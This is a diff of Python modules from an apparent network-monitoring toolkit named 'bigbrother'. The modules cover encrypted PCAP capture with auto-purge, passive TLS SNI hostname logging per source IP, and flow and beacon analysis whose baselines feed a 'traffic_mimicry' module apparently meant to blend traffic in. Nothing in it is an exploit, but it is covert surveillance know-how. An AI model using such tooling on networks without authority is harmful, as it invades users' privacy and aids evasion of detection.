+ except Exception: + # If fuser not available, check if file was modified in last 5 seconds + try: + mtime = os.path.getmtime(path) + return (time.time() - mtime) < 5 + except OSError: + return True + + @staticmethod + def _compress_zstd(src: str, dst: str, level: int) -> None: + """Compress a file with zstd.""" + try: + import zstandard as zstd + cctx = zstd.ZstdCompressor(level=level) + with open(src, "rb") as fin, open(dst, "wb") as fout: + cctx.copy_stream(fin, fout) + except ImportError: + # Fallback to CLI zstd + subprocess.run( + ["zstd", f"-{level}", "-f", "-o", dst, src], + check=True, capture_output=True, + ) + + def _encrypt_file(self, src: str, dst: str) -> None: + """Encrypt a file with AES-256-GCM.""" + try: + from cryptography.hazmat.primitives.ciphers.aead import AESGCM + except ImportError: + logger.warning("cryptography not available — skipping encryption") + os.rename(src, dst) + return + + key = self._encryption_key[:32].ljust(32, b"\x00") + nonce = os.urandom(12) + aesgcm = AESGCM(key) + + with open(src, "rb") as f: + plaintext = f.read() + + ciphertext = aesgcm.encrypt(nonce, plaintext, None) + + with open(dst, "wb") as f: + # Header: magic(4) + nonce(12) + ciphertext + f.write(b"BB01") + f.write(nonce) + f.write(ciphertext) + + def _check_disk_usage(self, threshold: int) -> None: + """Auto-purge oldest encrypted PCAPs when disk usage exceeds threshold.""" + try: + usage = shutil.disk_usage(self._pcap_dir) + pct = (usage.used / usage.total) * 100 + except OSError: + return + + if pct < threshold: + return + + logger.warning("Disk usage %.1f%% exceeds threshold %d%% — purging oldest PCAPs", pct, threshold) + + # Gather all encrypted/compressed PCAPs sorted by mtime + enc_files = sorted( + glob.glob(os.path.join(self._pcap_dir, "capture_*.pcap.zst*")), + key=os.path.getmtime, + ) + + purged = 0 + for path in enc_files: + if not enc_files: + break + try: + os.unlink(path) + purged += 1 + except OSError: + continue + + # Re-check usage + try: + usage = shutil.disk_usage(self._pcap_dir) + if (usage.used / usage.total) * 100 < threshold - 5: + break + except OSError: + break + + if purged: + logger.info("Purged %d old PCAPs to reclaim disk space", purged) + self.bus.emit("RESOURCE_WARNING", { + "type": "disk_purge", + "purged_count": purged, + "disk_pct": pct, + }, source_module=self.name) diff --git a/modules/passive/tls_sni_extractor.py b/modules/passive/tls_sni_extractor.py new file mode 100644 index 0000000..577936f --- /dev/null +++ b/modules/passive/tls_sni_extractor.py @@ -0,0 +1,435 @@ +#!/usr/bin/env python3 +"""Passive TLS SNI extraction from ClientHello messages. + +Subscribes to capture_bus with BPF "tcp port 443". Parses TLS ClientHello +handshake messages and extracts the Server Name Indication (SNI) extension. +Handles fragmented ClientHello across multiple TCP segments via a reassembly +buffer keyed on (src_ip, src_port, dst_ip, dst_port). +""" + +import logging +import os +import socket +import sqlite3 +import struct +import threading +import time +from collections import OrderedDict +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.tls_sni_extractor") + +# TLS record types +TLS_HANDSHAKE = 22 +# TLS handshake types +TLS_CLIENT_HELLO = 1 +# TLS extension type for SNI +EXT_SNI = 0x0000 + +# TLS version mapping +TLS_VERSIONS = { + 0x0300: "SSLv3", + 0x0301: "TLS 1.0", + 0x0302: "TLS 1.1", + 0x0303: "TLS 1.2", + 0x0304: "TLS 1.3", +} + +# Max reassembly buffer entries (prevent memory leak from orphaned streams) +MAX_REASSEMBLY_ENTRIES = 10000 +# Max age for reassembly buffer entries (seconds) +REASSEMBLY_TIMEOUT = 30 + + +class TLSSNIExtractor(BaseModule): + """Extract SNI hostnames from TLS ClientHello messages.""" + + name = "tls_sni_extractor" + module_type = "passive" + priority = 100 + requires_root = True + + BATCH_SIZE = 500 + FLUSH_INTERVAL = 60 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._buffer = [] + self._buffer_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_sni = 0 + # TCP reassembly buffer: (src,sport,dst,dport) -> (data, timestamp) + self._reassembly: OrderedDict = OrderedDict() + self._reassembly_lock = threading.Lock() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("TLSSNIExtractor requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "tls_sni.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter="tcp port 443", queue_depth=8000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-sni-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-sni-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("TLSSNIExtractor started — monitoring TLS on port 443") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_buffer() + + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info("TLSSNIExtractor stopped — %d SNIs extracted", self._total_sni) + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_sni": self._total_sni, + "buffer_size": len(self._buffer), + "reassembly_entries": len(self._reassembly), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS tls_sni ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp REAL NOT NULL, + source_ip TEXT NOT NULL, + dest_ip TEXT NOT NULL, + dest_port INTEGER NOT NULL, + sni TEXT NOT NULL, + tls_version TEXT + ); + CREATE INDEX IF NOT EXISTS idx_sni_source ON tls_sni(source_ip); + CREATE INDEX IF NOT EXISTS idx_sni_hostname ON tls_sni(sni); + CREATE INDEX IF NOT EXISTS idx_sni_ts ON tls_sni(timestamp); + """) + self._db_conn.commit() + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Parse Ethernet -> IPv4 -> TCP -> TLS ClientHello.""" + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + ip_offset = 14 + if eth_type == 0x8100: # VLAN + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + ip_proto = ip_hdr[9] + if ip_proto != 6: # TCP only + return + + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + tcp_offset = ip_offset + ihl + if len(raw) < tcp_offset + 20: + return + + src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4]) + tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4 + payload_offset = tcp_offset + tcp_hdr_len + payload = raw[payload_offset:] + + if not payload: + return + + # Try to extract SNI from this payload (possibly with reassembly) + flow_key = (src_ip, src_port, dst_ip, dst_port) + self._process_tls_payload(ts, flow_key, payload, src_ip, dst_ip, dst_port) + + def _process_tls_payload(self, ts: float, flow_key: tuple, + payload: bytes, src_ip: str, dst_ip: str, + dst_port: int) -> None: + """Parse TLS records from TCP payload, with reassembly for fragments.""" + # Check if we have buffered data for this flow + with self._reassembly_lock: + if flow_key in self._reassembly: + prev_data, _ = self._reassembly.pop(flow_key) + payload = prev_data + payload + + # Try to parse TLS record + offset = 0 + while offset < len(payload): + if len(payload) - offset < 5: + # Not enough for TLS record header — buffer for reassembly + self._buffer_fragment(flow_key, payload[offset:], ts) + return + + content_type = payload[offset] + tls_version = struct.unpack("!H", payload[offset + 1:offset + 3])[0] + record_length = struct.unpack("!H", payload[offset + 3:offset + 5])[0] + + if content_type != TLS_HANDSHAKE: + return + + if record_length > 16384: # Max TLS record size + return + + if len(payload) - offset - 5 < record_length: + # Fragmented — buffer remaining data + self._buffer_fragment(flow_key, payload[offset:], ts) + return + + record_data = payload[offset + 5:offset + 5 + record_length] + sni, version_str = self._parse_client_hello(record_data, tls_version) + if sni: + self._total_sni += 1 + record = (ts, src_ip, dst_ip, dst_port, sni, version_str) + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + return # Only care about the first ClientHello per connection + + offset += 5 + record_length + + def _buffer_fragment(self, flow_key: tuple, data: bytes, ts: float) -> None: + """Buffer a TCP fragment for reassembly.""" + with self._reassembly_lock: + self._reassembly[flow_key] = (data, ts) + # Evict oldest entries if buffer too large + while len(self._reassembly) > MAX_REASSEMBLY_ENTRIES: + self._reassembly.popitem(last=False) + # Evict expired entries periodically + now = time.time() + expired = [k for k, (_, t) in self._reassembly.items() + if now - t > REASSEMBLY_TIMEOUT] + for k in expired: + self._reassembly.pop(k, None) + + @staticmethod + def _parse_client_hello(data: bytes, record_tls_version: int) -> tuple: + """Parse a TLS Handshake record to extract SNI from ClientHello. + + Returns (sni_hostname, tls_version_string) or (None, None). + """ + if len(data) < 4: + return None, None + + handshake_type = data[0] + if handshake_type != TLS_CLIENT_HELLO: + return None, None + + # Handshake length (3 bytes) + hs_length = struct.unpack("!I", b"\x00" + data[1:4])[0] + if len(data) < 4 + hs_length: + return None, None + + offset = 4 + + # ClientHello: version(2) + random(32) + session_id_len(1) + ... + if offset + 34 > len(data): + return None, None + + client_version = struct.unpack("!H", data[offset:offset + 2])[0] + offset += 2 + 32 # skip version + random + + # Session ID + if offset >= len(data): + return None, None + session_id_len = data[offset] + offset += 1 + session_id_len + + # Cipher suites + if offset + 2 > len(data): + return None, None + cipher_suites_len = struct.unpack("!H", data[offset:offset + 2])[0] + offset += 2 + cipher_suites_len + + # Compression methods + if offset >= len(data): + return None, None + comp_methods_len = data[offset] + offset += 1 + comp_methods_len + + # Extensions + if offset + 2 > len(data): + return None, None + extensions_len = struct.unpack("!H", data[offset:offset + 2])[0] + offset += 2 + + extensions_end = offset + extensions_len + if extensions_end > len(data): + extensions_end = len(data) + + # Determine TLS version — check for supported_versions extension (0x002b) + # which overrides the record-layer version for TLS 1.3 + detected_version = client_version + sni_hostname = None + + ext_offset = offset + while ext_offset + 4 <= extensions_end: + ext_type = struct.unpack("!H", data[ext_offset:ext_offset + 2])[0] + ext_len = struct.unpack("!H", data[ext_offset + 2:ext_offset + 4])[0] + ext_data_start = ext_offset + 4 + ext_data_end = ext_data_start + ext_len + + if ext_data_end > extensions_end: + break + + if ext_type == EXT_SNI: + # SNI extension: list_length(2), type(1)=0 (hostname), name_length(2), name + sni_data = data[ext_data_start:ext_data_end] + sni_hostname = _parse_sni_extension(sni_data) + + elif ext_type == 0x002B: + # supported_versions extension — pick highest version + sv_data = data[ext_data_start:ext_data_end] + if len(sv_data) >= 1: + sv_list_len = sv_data[0] + sv_offset = 1 + max_ver = 0 + while sv_offset + 2 <= 1 + sv_list_len and sv_offset + 2 <= len(sv_data): + ver = struct.unpack("!H", sv_data[sv_offset:sv_offset + 2])[0] + if ver > max_ver: + max_ver = ver + sv_offset += 2 + if max_ver > 0: + detected_version = max_ver + + ext_offset = ext_data_end + + version_str = TLS_VERSIONS.get(detected_version, f"0x{detected_version:04x}") + return sni_hostname, version_str + + # ------------------------------------------------------------------ + # Buffer flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_buffer() + except Exception: + logger.exception("SNI flush error") + + def _flush_buffer(self) -> None: + with self._buffer_lock: + batch = list(self._buffer) + self._buffer.clear() + + if not batch or not self._db_conn: + return + + try: + self._db_conn.executemany( + "INSERT INTO tls_sni (timestamp, source_ip, dest_ip, dest_port, sni, tls_version) " + "VALUES (?, ?, ?, ?, ?, ?)", + batch, + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d SNI records", len(batch)) + + +def _parse_sni_extension(data: bytes) -> Optional[str]: + """Parse the SNI extension data to extract the hostname.""" + if len(data) < 5: + return None + + sni_list_len = struct.unpack("!H", data[0:2])[0] + offset = 2 + + while offset + 3 <= len(data) and offset < 2 + sni_list_len: + name_type = data[offset] + name_len = struct.unpack("!H", data[offset + 1:offset + 3])[0] + offset += 3 + + if offset + name_len > len(data): + break + + if name_type == 0: # host_name + try: + return data[offset:offset + name_len].decode("ascii") + except UnicodeDecodeError: + return data[offset:offset + name_len].decode("utf-8", errors="replace") + + offset += name_len + + return None diff --git a/modules/passive/traffic_analyzer.py b/modules/passive/traffic_analyzer.py new file mode 100644 index 0000000..e2d0da6 --- /dev/null +++ b/modules/passive/traffic_analyzer.py @@ -0,0 +1,479 @@ +#!/usr/bin/env python3 +"""Network traffic analysis — flow tracking, top talkers, beacon detection. + +Subscribes to all capture_bus traffic. Tracks: + - Flows by 5-tuple (src_ip, dst_ip, src_port, dst_port, proto) + - Protocol distribution percentages + - Top talkers by bytes and packets + - Beacon detection: regular-interval connections (C2 indicators) + - Bandwidth profiling per host + +Feeds baseline data to traffic_mimicry module via bus events. +""" + +import logging +import math +import os +import socket +import sqlite3 +import struct +import threading +import time +from collections import defaultdict +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.traffic_analyzer") + +# Protocol number to name mapping +PROTO_NAMES = { + 1: "ICMP", 6: "TCP", 17: "UDP", 47: "GRE", + 50: "ESP", 51: "AH", 58: "ICMPv6", +} + +# Beacon detection thresholds +BEACON_MIN_CONNECTIONS = 10 # Minimum connections to analyze +BEACON_JITTER_THRESHOLD = 0.15 # Max jitter ratio (stddev/mean) for beacon +BEACON_MIN_INTERVAL = 5.0 # Minimum interval to consider (seconds) +BEACON_MAX_INTERVAL = 7200.0 # Maximum interval to consider (seconds) + + +class TrafficAnalyzer(BaseModule): + """Analyze network traffic patterns, flows, and detect beacons.""" + + name = "traffic_analyzer" + module_type = "passive" + priority = 150 + requires_root = True + + FLUSH_INTERVAL = 300 # 5 minutes + BEACON_CHECK_INTERVAL = 600 # 10 minutes + STATS_PUBLISH_INTERVAL = 120 # 2 minutes + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._beacon_thread: Optional[threading.Thread] = None + self._stats_thread: Optional[threading.Thread] = None + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + + # Flow table: (src_ip, dst_ip, src_port, dst_port, proto) -> FlowRecord + self._flows = {} + self._flows_lock = threading.Lock() + + # Per-host stats + self._host_bytes = defaultdict(int) # ip -> total bytes + self._host_packets = defaultdict(int) # ip -> total packets + self._host_lock = threading.Lock() + + # Protocol distribution + self._proto_bytes = defaultdict(int) # proto_name -> bytes + self._proto_packets = defaultdict(int) # proto_name -> packets + self._proto_lock = threading.Lock() + + # Connection timestamps for beacon detection: (src, dst, dport) -> [timestamps] + self._conn_times = defaultdict(list) + self._conn_lock = threading.Lock() + + self._total_packets = 0 + self._total_bytes = 0 + self._detected_beacons = [] + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("TrafficAnalyzer requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "traffic_flows.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + # Subscribe to all traffic (no BPF filter) + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter="", queue_depth=15000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-traffic-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-traffic-flusher" + ) + self._flusher_thread.start() + + self._beacon_thread = threading.Thread( + target=self._beacon_loop, daemon=True, name="bb-traffic-beacon" + ) + self._beacon_thread.start() + + self._stats_thread = threading.Thread( + target=self._stats_loop, daemon=True, name="bb-traffic-stats" + ) + self._stats_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("TrafficAnalyzer started — monitoring all traffic") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_flows() + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info( + "TrafficAnalyzer stopped — %d total packets, %d flows, %d beacons detected", + self._total_packets, len(self._flows), len(self._detected_beacons), + ) + + def status(self) -> dict: + with self._flows_lock: + flow_count = len(self._flows) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_packets": self._total_packets, + "total_bytes": self._total_bytes, + "active_flows": flow_count, + "detected_beacons": len(self._detected_beacons), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS flows ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + src_ip TEXT NOT NULL, + dst_ip TEXT NOT NULL, + src_port INTEGER, + dst_port INTEGER, + proto TEXT NOT NULL, + bytes_total INTEGER NOT NULL DEFAULT 0, + packets INTEGER NOT NULL DEFAULT 0, + first_seen REAL NOT NULL, + last_seen REAL NOT NULL, + is_beacon INTEGER DEFAULT 0 + ); + CREATE INDEX IF NOT EXISTS idx_flow_src ON flows(src_ip); + CREATE INDEX IF NOT EXISTS idx_flow_dst ON flows(dst_ip); + CREATE INDEX IF NOT EXISTS idx_flow_beacon ON flows(is_beacon); + CREATE INDEX IF NOT EXISTS idx_flow_first ON flows(first_seen); + """) + self._db_conn.commit() + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Extract flow information from each packet.""" + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + ip_offset = 14 + if eth_type == 0x8100: # VLAN + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: # IPv4 only + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + total_len = struct.unpack("!H", ip_hdr[2:4])[0] + ip_proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + src_port = 0 + dst_port = 0 + + if ip_proto in (6, 17): # TCP or UDP + transport_offset = ip_offset + ihl + if len(raw) >= transport_offset + 4: + src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4]) + + proto_name = PROTO_NAMES.get(ip_proto, str(ip_proto)) + pkt_size = total_len + + self._total_packets += 1 + self._total_bytes += pkt_size + + # Update flow table + flow_key = (src_ip, dst_ip, src_port, dst_port, proto_name) + with self._flows_lock: + if flow_key not in self._flows: + self._flows[flow_key] = { + "bytes_total": 0, "packets": 0, + "first_seen": ts, "last_seen": ts, + "is_beacon": False, + } + flow = self._flows[flow_key] + flow["bytes_total"] += pkt_size + flow["packets"] += 1 + flow["last_seen"] = ts + + # Update per-host stats + with self._host_lock: + self._host_bytes[src_ip] += pkt_size + self._host_packets[src_ip] += 1 + self._host_bytes[dst_ip] += pkt_size + self._host_packets[dst_ip] += 1 + + # Update protocol distribution + with self._proto_lock: + self._proto_bytes[proto_name] += pkt_size + self._proto_packets[proto_name] += 1 + + # Record connection timestamps for beacon detection (TCP SYN only) + if ip_proto == 6 and len(raw) >= ip_offset + ihl + 14: + tcp_flags = raw[ip_offset + ihl + 13] + if tcp_flags & 0x02 and not (tcp_flags & 0x10): # SYN without ACK + conn_key = (src_ip, dst_ip, dst_port) + with self._conn_lock: + timestamps = self._conn_times[conn_key] + timestamps.append(ts) + # Keep only last 1000 timestamps per connection tuple + if len(timestamps) > 1000: + self._conn_times[conn_key] = timestamps[-1000:] + + # ------------------------------------------------------------------ + # Beacon detection + # ------------------------------------------------------------------ + + def _beacon_loop(self) -> None: + """Periodically check for beacon-like connection patterns.""" + while self._running: + time.sleep(self.BEACON_CHECK_INTERVAL) + try: + self._detect_beacons() + except Exception: + logger.exception("Beacon detection error") + + def _detect_beacons(self) -> None: + """Analyze connection timestamps for regular-interval patterns.""" + with self._conn_lock: + conn_snapshot = {k: list(v) for k, v in self._conn_times.items() + if len(v) >= BEACON_MIN_CONNECTIONS} + + new_beacons = [] + + for conn_key, timestamps in conn_snapshot.items(): + src_ip, dst_ip, dst_port = conn_key + + if len(timestamps) < BEACON_MIN_CONNECTIONS: + continue + + # Calculate inter-arrival intervals + timestamps.sort() + intervals = [timestamps[i + 1] - timestamps[i] + for i in range(len(timestamps) - 1)] + + if not intervals: + continue + + # Filter to reasonable beacon intervals + valid_intervals = [i for i in intervals + if BEACON_MIN_INTERVAL <= i <= BEACON_MAX_INTERVAL] + if len(valid_intervals) < BEACON_MIN_CONNECTIONS - 1: + continue + + mean_interval = sum(valid_intervals) / len(valid_intervals) + if mean_interval == 0: + continue + + # Calculate jitter (standard deviation / mean) + variance = sum((i - mean_interval) ** 2 for i in valid_intervals) / len(valid_intervals) + stddev = math.sqrt(variance) + jitter_ratio = stddev / mean_interval + + if jitter_ratio <= BEACON_JITTER_THRESHOLD: + beacon_info = { + "src_ip": src_ip, + "dst_ip": dst_ip, + "dst_port": dst_port, + "mean_interval": round(mean_interval, 2), + "jitter_ratio": round(jitter_ratio, 4), + "connection_count": len(timestamps), + "first_seen": timestamps[0], + "last_seen": timestamps[-1], + } + new_beacons.append(beacon_info) + + # Mark flows as beacons + with self._flows_lock: + for proto in ("TCP", "6"): + flow_key = (src_ip, dst_ip, 0, dst_port, proto) + if flow_key in self._flows: + self._flows[flow_key]["is_beacon"] = True + + self.bus.emit("BEACON_DETECTED", beacon_info, source_module=self.name) + + logger.warning( + "BEACON: %s -> %s:%d interval=%.1fs jitter=%.2f%% count=%d", + src_ip, dst_ip, dst_port, mean_interval, + jitter_ratio * 100, len(timestamps), + ) + + self._detected_beacons = new_beacons + + # ------------------------------------------------------------------ + # Statistics publishing + # ------------------------------------------------------------------ + + def _stats_loop(self) -> None: + """Periodically publish traffic statistics for other modules.""" + while self._running: + time.sleep(self.STATS_PUBLISH_INTERVAL) + try: + self._publish_stats() + except Exception: + logger.exception("Stats publish error") + + def _publish_stats(self) -> None: + """Publish traffic baseline stats (for traffic_mimicry).""" + # Protocol distribution + with self._proto_lock: + proto_dist = dict(self._proto_bytes) + total_proto_bytes = sum(proto_dist.values()) + + if total_proto_bytes > 0: + proto_pct = {k: round(v / total_proto_bytes * 100, 1) + for k, v in proto_dist.items()} + else: + proto_pct = {} + + # Top talkers (by bytes, top 20) + with self._host_lock: + host_bytes_snapshot = dict(self._host_bytes) + + top_talkers = sorted(host_bytes_snapshot.items(), key=lambda x: x[1], reverse=True)[:20] + + # Store baseline in state for traffic_mimicry + self.state.set(self.name, "protocol_distribution", proto_pct) + self.state.set(self.name, "top_talkers", [ + {"ip": ip, "bytes": b} for ip, b in top_talkers + ]) + self.state.set(self.name, "total_bytes", self._total_bytes) + self.state.set(self.name, "total_packets", self._total_packets) + + # ------------------------------------------------------------------ + # Public query methods + # ------------------------------------------------------------------ + + def get_top_talkers(self, n: int = 10, by: str = "bytes") -> list: + """Return top N talkers by bytes or packets.""" + with self._host_lock: + if by == "packets": + data = dict(self._host_packets) + else: + data = dict(self._host_bytes) + + sorted_hosts = sorted(data.items(), key=lambda x: x[1], reverse=True)[:n] + return [{"ip": ip, by: val} for ip, val in sorted_hosts] + + def get_protocol_distribution(self) -> dict: + """Return protocol distribution as percentages.""" + with self._proto_lock: + total = sum(self._proto_bytes.values()) + if total == 0: + return {} + return {k: round(v / total * 100, 2) for k, v in self._proto_bytes.items()} + + def get_detected_beacons(self) -> list: + """Return list of detected beacon connections.""" + return list(self._detected_beacons) + + # ------------------------------------------------------------------ + # Flow flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_flows() + except Exception: + logger.exception("Flow flush error") + + def _flush_flows(self) -> None: + """Write flow table to SQLite.""" + with self._flows_lock: + flows_snapshot = dict(self._flows) + + if not flows_snapshot or not self._db_conn: + return + + try: + for flow_key, flow_data in flows_snapshot.items(): + src_ip, dst_ip, src_port, dst_port, proto = flow_key + self._db_conn.execute( + """INSERT INTO flows + (src_ip, dst_ip, src_port, dst_port, proto, + bytes_total, packets, first_seen, last_seen, is_beacon) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT DO NOTHING + """, + (src_ip, dst_ip, src_port, dst_port, proto, + flow_data["bytes_total"], flow_data["packets"], + flow_data["first_seen"], flow_data["last_seen"], + int(flow_data.get("is_beacon", False))), + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d flows", len(flows_snapshot))